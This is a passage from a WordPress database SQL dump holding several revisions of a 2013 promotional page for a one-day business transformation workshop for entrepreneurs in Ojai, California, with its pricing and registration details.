(2278, 2, '2013-05-22 20:34:00', '2013-05-23 03:34:00', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our eenvironment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue thaat support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-16', '', '', '2013-05-22 20:34:00', '2013-05-23 03:34:00', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-16/', 0, 'revision', '', 0),
(2280, 2, '2013-05-22 20:42:19', '2013-05-23 03:42:19', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-18', '', '', '2013-05-22 20:42:19', '2013-05-23 03:42:19', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-18/', 0, 'revision', '', 0),
(2281, 2, '2013-05-22 20:44:32', '2013-05-23 03:44:32', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage in your business.</strong>\n\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\n\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\n\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\n\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\n\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held November 8th, 2013.\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\n\n<strong>Investment:</strong>\n\n$995.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\n\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-19', '', '', '2013-05-22 20:44:32', '2013-05-23 03:44:32', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-19/', 0, 'revision', '', 0),
(2282, 2, '2013-05-22 20:48:20', '2013-05-23 03:48:20', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-20', '', '', '2013-05-22 20:48:20', '2013-05-23 03:48:20', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-20/', 0, 'revision', '', 0),
(2283, 2, '2013-05-22 20:48:28', '2013-05-23 03:48:28', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-21', '', '', '2013-05-22 20:48:28', '2013-05-23 03:48:28', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-21/', 0, 'revision', '', 0);
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(2284, 2, '2013-05-30 13:36:17', '2013-05-30 20:36:17', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, November 8th 2013.</span></h1>\r\n<h2>Take your business to the next level and beyond. Build the foundation of your success and create more impact, influence and income in less time than you ever thought possible!</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2295" title="Thomson Dawson Quantum Leap" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-51.jpg" alt="" width="495" height="306" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the 